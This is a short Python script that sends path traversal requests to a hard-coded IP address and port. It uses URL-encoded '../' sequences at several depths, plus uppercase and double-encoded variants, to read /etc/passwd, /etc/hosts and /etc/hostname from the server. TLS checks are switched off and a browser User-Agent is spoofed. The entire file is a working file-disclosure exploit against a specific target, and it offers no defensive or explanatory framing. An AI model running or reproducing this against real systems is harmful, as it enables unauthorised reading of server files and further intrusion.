import asyncio
import aiohttp

IP, PORT, SC = "13.202.79.242", 9191, "https"


async def probe(url):
    conn = aiohttp.TCPConnector(limit=0, ssl=False)
    tout = aiohttp.ClientTimeout(total=15, connect=6, sock_read=12)
    try:
        async with aiohttp.ClientSession(connector=conn, timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
            async with s.get(url, ssl=False) as r:
                t = (await r.content.read(500)).decode("utf-8", "replace")
                return r.status, len(t), t[:60].replace("\r\n", " ")
    except Exception as e:
        return 0, 0, "ERR " + type(e).__name__


async def main():
    for depth in (6, 8, 10, 12):
        for p in ("/etc/hosts", "/etc/passwd", "/etc/hostname"):
            seg = "%2f" + "%2f".join([".."] * depth) + "%2f" + p.strip("/").replace("/", "%2f")
            st, ln, b = await probe(f"{SC}://{IP}:{PORT}/?{seg}")
            print(f"depth={depth:2d} {p:14s} -> {st} {ln} {b}")
            await asyncio.sleep(1.5)
    # uppercase encoding
    seg = "%2F" + "%2F".join([".."] * 8) + "%2Fetc%2Fhosts"
    st, ln, b = await probe(f"{SC}://{IP}:{PORT}/?{seg}")
    print("UPPER /etc/hosts ->", st, ln, b)
    await asyncio.sleep(1.5)
    seg = "%252f" + "%252f".join([".."] * 8) + "%252fetc%252fhosts"
    st, ln, b = await probe(f"{SC}://{IP}:{PORT}/?{seg}")
    print("DOUBLE /etc/hosts ->", st, ln, b)

asyncio.run(main())
